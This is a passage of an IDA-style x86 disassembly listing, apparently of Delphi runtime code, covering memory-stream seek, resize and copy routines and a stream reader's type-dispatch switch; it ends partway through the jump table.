loc_40DA60:				; DATA XREF: CODE:0040BDFCo
					; CODE:0040BE6Co
		sub	cx, 1
		jb	short loc_40DA6F
		jz	short loc_40DA74
		dec	cx
		jz	short loc_40DA79
		jmp	short loc_40DA7F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DA6F:				; CODE XREF: CODE:0040DA64j
		mov	[eax+0Ch], edx
		jmp	short loc_40DA7F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DA74:				; CODE XREF: CODE:0040DA66j
		add	[eax+0Ch], edx
		jmp	short loc_40DA7F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DA79:				; CODE XREF: CODE:0040DA6Bj
		add	edx, [eax+8]
		mov	[eax+0Ch], edx

loc_40DA7F:				; CODE XREF: CODE:0040DA6Dj
					; CODE:0040DA72j ...
		mov	eax, [eax+0Ch]
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DA84	proc near		; DATA XREF: CODE:0040BE5Co
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40DAB0
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_40DAAD
		mov	eax, esi
		call	sub_402D2C

loc_40DAAD:				; CODE XREF: sub_40DA84+20j
		pop	esi
		pop	ebx
		retn
sub_40DA84	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DAB0	proc near		; CODE XREF: sub_40DA84+Dp
		push	ebx
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_40DB54
		xor	eax, eax
		mov	[ebx+8], eax
		xor	eax, eax
		mov	[ebx+0Ch], eax
		pop	ebx
		retn
sub_40DAB0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DAC8	proc near		; CODE XREF: sub_40DB00+2Dp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, edi
		call	sub_40D840
		mov	eax, edi
		call	sub_40D84C
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx]
		test	ebx, ebx
		jz	short loc_40DAF9
		mov	edx, [esi+4]
		mov	ecx, ebx
		mov	eax, edi
		call	sub_40D884

loc_40DAF9:				; CODE XREF: sub_40DAC8+23j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40DAC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40DB00	proc near		; CODE XREF: sub_412708+41p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		push	20h
		mov	ecx, edx
		mov	eax, ds:off_40BD3C
		mov	dl, 1
		call	sub_40D940
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40DB48
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40DAC8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40DB4F

loc_40DB3F:				; CODE XREF: CODE:0040DB4Dj
		mov	eax, [ebp+var_4]
		call	sub_402BDC
		retn
sub_40DB00	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DB48:				; DATA XREF: sub_40DB00+1Do
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40DB3F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DB4F:				; DATA XREF: sub_40DB00+3Ao
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DB54	proc near		; CODE XREF: sub_40DAB0+7p
					; sub_40DB7C+Ep ...
		push	ebx
		push	ecx
		mov	[esp+0], edx
		mov	ebx, eax
		mov	edx, esp
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+10h]
		mov	edx, eax
		mov	ecx, [ebx+8]
		mov	eax, ebx
		call	sub_40DA20
		mov	eax, [esp+0]
		mov	[ebx+10h], eax
		pop	edx
		pop	ebx
		retn
sub_40DB54	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DB7C	proc near		; DATA XREF: CODE:0040BE60o
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		mov	edi, [ebx+0Ch]
		mov	edx, esi
		mov	eax, ebx
		call	sub_40DB54
		mov	[ebx+8], esi
		cmp	esi, edi
		jge	short loc_40DBA3
		mov	cx, 2
		xor	edx, edx
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]

loc_40DBA3:				; CODE XREF: sub_40DB7C+18j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40DB7C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DBA8	proc near		; DATA XREF: CODE:0040BE70o
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [edx], 0
		jle	short loc_40DBC0
		mov	ecx, [edx]
		add	ecx, 1FFFh
		and	ecx, 0FFFFE000h
		mov	[edx], ecx

loc_40DBC0:				; CODE XREF: sub_40DBA8+6j
		mov	esi, [eax+4]
		mov	ecx, esi
		mov	edi, [edx]
		mov	ebx, [eax+10h]
		cmp	edi, ebx
		jz	short loc_40DC24
		cmp	dword ptr [edx], 0
		jnz	short loc_40DBDE
		mov	eax, esi
		call	sub_405EA8
		xor	ecx, ecx
		jmp	short loc_40DC24
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DBDE:				; CODE XREF: sub_40DBA8+29j
		test	ebx, ebx
		jnz	short loc_40DBF5
		mov	eax, ds:off_41DC34
		movzx	eax, word ptr [eax]
		mov	edx, [edx]
		call	sub_405E7C
		mov	ecx, eax
		jmp	short loc_40DC09
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DBF5:				; CODE XREF: sub_40DBA8+38j
		mov	ecx, ds:off_41DC34
		movzx	ecx, word ptr [ecx]
		mov	edx, [edx]
		mov	eax, esi
		call	sub_405E8C
		mov	ecx, eax

loc_40DC09:				; CODE XREF: sub_40DBA8+4Bj
		test	ecx, ecx
		jnz	short loc_40DC24
		mov	ecx, ds:off_41DC6C
		mov	dl, 1
		mov	eax, ds:off_40B530
		call	sub_40950C
		call	sub_402F98

loc_40DC24:				; CODE XREF: sub_40DBA8+24j
					; sub_40DBA8+34j ...
		mov	eax, ecx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40DBA8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DC2C	proc near		; DATA XREF: CODE:0040BE68o
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, ecx
		mov	ebp, edx
		mov	ebx, eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		jl	short loc_40DC75
		test	esi, esi
		jl	short loc_40DC75
		mov	edi, eax
		add	edi, esi
		test	edi, edi
		jle	short loc_40DC75
		cmp	edi, [ebx+8]
		jle	short loc_40DC5F
		cmp	edi, [ebx+10h]
		jle	short loc_40DC5C
		mov	edx, edi
		mov	eax, ebx
		call	sub_40DB54

loc_40DC5C:				; CODE XREF: sub_40DC2C+25j
		mov	[ebx+8], edi

loc_40DC5F:				; CODE XREF: sub_40DC2C+20j
		mov	edx, [ebx+4]
		add	edx, [ebx+0Ch]
		mov	eax, ebp
		mov	ecx, esi
		call	sub_4026B0
		mov	[ebx+0Ch], edi
		mov	eax, esi
		jmp	short loc_40DC77
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DC75:				; CODE XREF: sub_40DC2C+Fj
					; sub_40DC2C+13j ...
		xor	eax, eax

loc_40DC77:				; CODE XREF: sub_40DC2C+47j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40DC2C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40DC7C	proc near		; CODE XREF: sub_40E3D0+4Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		cmp	ds:dword_41E624, 0
		jz	loc_40DD1E
		mov	eax, ds:dword_41E624
		call	sub_40C4B0
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40DD17
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40DCFF

loc_40DCBB:				; CODE XREF: sub_40DC7C+81j
		mov	edx, ebx
		mov	eax, edi
		call	sub_40C20C
		mov	esi, eax
		cmp	[ebp+var_4], 0
		jz	short loc_40DCD4
		mov	eax, [esi+8]
		cmp	eax, [ebp+var_4]
		jnz	short loc_40DCF9

loc_40DCD4:				; CODE XREF: sub_40DC7C+4Ej
		cmp	[ebp+var_8], 0
		jz	short loc_40DCE9
		mov	edx, [esi+10h]
		mov	eax, [ebp+var_8]
		call	sub_406E40
		test	al, al
		jz	short loc_40DCF9

loc_40DCE9:				; CODE XREF: sub_40DC7C+5Cj
		mov	edx, ebx
		mov	eax, edi
		call	sub_40C11C
		mov	eax, esi
		call	sub_402BDC

loc_40DCF9:				; CODE XREF: sub_40DC7C+56j
					; sub_40DC7C+6Bj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40DCBB

loc_40DCFF:				; CODE XREF: sub_40DC7C+3Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40DD1E

loc_40DD0C:				; CODE XREF: sub_40DC7C+A0j
		mov	eax, ds:dword_41E624
		call	sub_40C514
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DD17:				; DATA XREF: sub_40DC7C+2Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40DD0C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DD1E:				; CODE XREF: sub_40DC7C+16j
					; DATA XREF: sub_40DC7C+8Bo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40DC7C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40DD28	proc near		; CODE XREF: sub_40C520+Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		cmp	ds:dword_41E624, 0
		jz	short loc_40DDA6
		mov	eax, ds:dword_41E624
		call	sub_40C4B0
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40DD9F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40DD87

loc_40DD5E:				; CODE XREF: sub_40DD28+5Dj
		mov	edx, ebx
		mov	eax, edi
		call	sub_40C20C
		mov	esi, eax
		mov	eax, [esi+4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_40DD81
		mov	edx, ebx
		mov	eax, edi
		call	sub_40C11C
		mov	eax, esi
		call	sub_402BDC

loc_40DD81:				; CODE XREF: sub_40DD28+47j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40DD5E

loc_40DD87:				; CODE XREF: sub_40DD28+34j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40DDA6

loc_40DD94:				; CODE XREF: sub_40DD28+7Cj
		mov	eax, ds:dword_41E624
		call	sub_40C514
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DD9F:				; DATA XREF: sub_40DD28+22o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40DD94
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DDA6:				; CODE XREF: sub_40DD28+11j
					; DATA XREF: sub_40DD28+67o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40DD28	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DDAC	proc near		; CODE XREF: sub_40DDC4+5p
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_40B698
		call	sub_40950C
		call	sub_402F98
		pop	ebx
		retn
sub_40DDAC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DDC4	proc near		; CODE XREF: sub_40DDD0+1Bp
					; sub_40DEEC+3Dp
		mov	eax, ds:off_41DBE8
		call	sub_40DDAC
		retn
sub_40DDC4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DDD0	proc near		; CODE XREF: sub_40DEA0+2p
					; sub_40DEA8+2p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40DF4C
		cmp	bl, al
		jz	short loc_40DDF0
		dec	dword ptr [esi+10h]
		mov	eax, esi
		call	sub_40E0AC
		call	sub_40DDC4

loc_40DDF0:				; CODE XREF: sub_40DDD0+Fj
		pop	esi
		pop	ebx
		retn
sub_40DDD0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DDF4	proc near		; CODE XREF: sub_40CF60+60p
					; sub_40DFA8+15p ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40DF4C
		test	al, al
		setz	al
		dec	dword ptr [ebx+10h]
		pop	ebx
		retn
sub_40DDF4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DE08	proc near		; CODE XREF: sub_40E04C+Ep
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40DF4C
		dec	dword ptr [ebx+10h]
		pop	ebx
		retn
sub_40DE08	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DE18	proc near		; CODE XREF: sub_40DEB0+10p
					; sub_40DEB0+33p ...
		push	esi
		push	edi
		push	ebx
		mov	edi, edx
		mov	ebx, ecx
		mov	esi, eax
		jmp	short loc_40DE59
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DE23:				; CODE XREF: sub_40DE18+43j
		mov	ecx, [esi+14h]
		sub	ecx, [esi+10h]
		ja	short loc_40DE35
		mov	eax, esi
		call	sub_40DE64
		mov	ecx, [esi+14h]

loc_40DE35:				; CODE XREF: sub_40DE18+11j
		cmp	ecx, ebx
		jb	short loc_40DE3B
		mov	ecx, ebx

loc_40DE3B:				; CODE XREF: sub_40DE18+1Fj
		push	esi
		sub	ebx, ecx
		mov	eax, [esi+8]
		add	eax, [esi+10h]
		add	[esi+10h], ecx
		mov	esi, eax
		mov	edx, ecx
		shr	ecx, 2
		cld
		repe movsd
		mov	ecx, edx
		and	ecx, 3
		repe movsb
		pop	esi

loc_40DE59:				; CODE XREF: sub_40DE18+9j
		or	ebx, ebx
		jnz	short loc_40DE23
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_40DE18	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DE64	proc near		; CODE XREF: sub_40DE18+15p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	edx, [ebx+8]
		mov	ecx, [ebx+0Ch]
		mov	eax, [ebx+4]
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	esi, eax
		mov	[ebx+14h], esi
		test	esi, esi
		jnz	short loc_40DE96
		mov	ecx, ds:off_41DC54
		mov	dl, 1
		mov	eax, ds:off_40B698
		call	sub_40950C
		call	sub_402F98

loc_40DE96:				; CODE XREF: sub_40DE64+19j
		xor	eax, eax
		mov	[ebx+10h], eax
		pop	esi
		pop	ebx
		retn
sub_40DE64	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DEA0	proc near		; CODE XREF: sub_40CF60+22p
		mov	dl, 1
		call	sub_40DDD0
		retn
sub_40DEA0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DEA8	proc near		; CODE XREF: CODE:0040CFE9p
					; sub_40DFA8+20p ...
		xor	edx, edx
		call	sub_40DDD0
		retn
sub_40DEA8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DEB0	proc near		; CODE XREF: sub_40DF60+1Bp
					; sub_40E0AC+DCp ...
		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esp
		mov	ecx, 1
		mov	eax, ebx
		call	sub_40DE18
		xor	ecx, ecx
		mov	cl, [esp+0]
		mov	eax, esi
		xor	edx, edx
		call	sub_4035B0
		mov	eax, esi
		call	sub_4038F4
		mov	edx, eax
		xor	ecx, ecx
		mov	cl, [esp+0]
		mov	eax, ebx
		call	sub_40DE18
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40DEB0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DEEC	proc near		; CODE XREF: sub_40CF60+4Dp
		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		mov	[esp+0], eax
		mov	eax, ebx
		call	sub_40DF4C
		sub	al, 6
		jz	short loc_40DF09
		sub	al, 6
		jz	short loc_40DF19
		jmp	short loc_40DF29
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DF09:				; CODE XREF: sub_40DEEC+15j
		mov	edx, esp
		mov	ecx, 1
		mov	eax, ebx
		call	sub_40DE18
		jmp	short loc_40DF2E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DF19:				; CODE XREF: sub_40DEEC+19j
		mov	edx, esp
		mov	ecx, 4
		mov	eax, ebx
		call	sub_40DE18
		jmp	short loc_40DF2E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DF29:				; CODE XREF: sub_40DEEC+1Bj
		call	sub_40DDC4

loc_40DF2E:				; CODE XREF: sub_40DEEC+2Bj
					; sub_40DEEC+3Bj
		mov	eax, esi
		mov	ecx, [esp+0]
		xor	edx, edx
		call	sub_4035B0
		mov	edx, [esi]
		mov	ecx, [esp+0]
		mov	eax, ebx
		call	sub_40DE18
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40DEEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40DF4C	proc near		; CODE XREF: sub_40DDD0+8p
					; sub_40DDF4+5p ...
		push	ecx
		mov	edx, esp
		mov	ecx, 1
		call	sub_40DE18
		mov	al, [esp+0]
		pop	edx
		retn
sub_40DF4C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40DF60	proc near		; CODE XREF: sub_40E0AC+EFp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40DF9C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp

loc_40DF76:				; CODE XREF: sub_40DF60+24j
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40DEB0
		cmp	[ebp+var_4], 0
		jnz	short loc_40DF76
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40DFA3

loc_40DF93:				; CODE XREF: CODE:0040DFA1j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_40DF60	endp ; sp = -10h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DF9C:				; DATA XREF: sub_40DF60+Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40DF93
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DFA3:				; DATA XREF: sub_40DF60+2Eo
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40DFA8	proc near		; CODE XREF: sub_40E0AC+8Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		jmp	short loc_40DFBB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40DFB4:				; CODE XREF: sub_40DFA8+1Cj
		mov	eax, [ebx]
		call	sub_40E0AC

loc_40DFBB:				; CODE XREF: sub_40DFA8+Aj
		mov	eax, [ebx]
		call	sub_40DDF4
		test	al, al
		jz	short loc_40DFB4
		mov	eax, [ebx]
		call	sub_40DEA8
		pop	ebx
		pop	ebp
		retn
sub_40DFA8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40DFD0	proc near		; CODE XREF: sub_40E024+1Ep
					; sub_40E04C+29p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF00h
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_40E01F

loc_40DFE0:				; CODE XREF: sub_40DFD0+4Dj
		cmp	ebx, 100h
		jle	short loc_40E006
		lea	edx, [ebp+var_100]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	ecx, 100h
		call	sub_40DE18
		sub	ebx, 100h
		jmp	short loc_40E01B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E006:				; CODE XREF: sub_40DFD0+16j
		lea	edx, [ebp+var_100]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	ecx, ebx
		call	sub_40DE18
		xor	ebx, ebx

loc_40E01B:				; CODE XREF: sub_40DFD0+34j
		test	ebx, ebx
		jg	short loc_40DFE0

loc_40E01F:				; CODE XREF: sub_40DFD0+Ej
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40DFD0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E024	proc near		; CODE XREF: sub_40E0AC+E4p
					; sub_40E0AC+F7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	ecx, 4
		call	sub_40DE18
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_40DFD0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40E024	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E04C	proc near		; CODE XREF: sub_40E0AC+100p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		jmp	short loc_40E096
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E058:				; CODE XREF: sub_40E04C+53j
		mov	eax, [ebx]
		call	sub_40DE08
		add	al, 0FEh
		sub	al, 3
		jnb	short loc_40E06C
		mov	eax, [ebx]
		call	sub_40E0AC

loc_40E06C:				; CODE XREF: sub_40E04C+17j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, 1
		call	sub_40DFD0
		pop	ecx
		jmp	short loc_40E084
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40E07D:				; CODE XREF: sub_40E04C+41j
		mov	eax, [ebx]
		call	sub_40E214

loc_40E084:				; CODE XREF: sub_40E04C+2Fj
		mov	eax, [ebx]
		call	sub_40DDF4
		test	al, al
		jz	short loc_40E07D
		mov	eax, [ebx]
		call	sub_40DEA8

loc_40E096:				; CODE XREF: sub_40E04C+Aj
		mov	eax, [ebx]
		call	sub_40DDF4
		test	al, al
		jz	short loc_40E058
		mov	eax, [ebx]
		call	sub_40DEA8
		pop	ebx
		pop	ebp
		retn
sub_40E04C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40E0AC	proc near		; CODE XREF: sub_40DDD0+16p
					; sub_40DFA8+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		xor	edx, edx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40E209
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_40DF4C
		and	eax, 7Fh
		cmp	eax, 13h	; switch 20 cases 
		ja	loc_40E1F3	; default
		jmp	ds:off_40E0E3[eax*4] ; switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40E0E3	dd offset loc_40E1F3	; DATA XREF: sub_40E0AC+30r
		dd offset loc_40E138	; jump table for switch	statement
		dd offset loc_40E144
		dd offset loc_40E155
		dd offset loc_40E166
		dd offset loc_40E174
		dd offset loc_40E182
		dd offset loc_40E182
		dd offset loc_40E1F3
		dd offset loc_40E1F3
		dd offset loc_40E18F
		dd offset loc_40E198
		dd offset loc_40E1A2
		dd offset loc_40E1F3
		dd offset loc_40E1AB
		dd offset loc_40E1B4
		dd offset loc_40E1C2
		dd offset loc_40E1D0
		dd offset loc_40E1DE
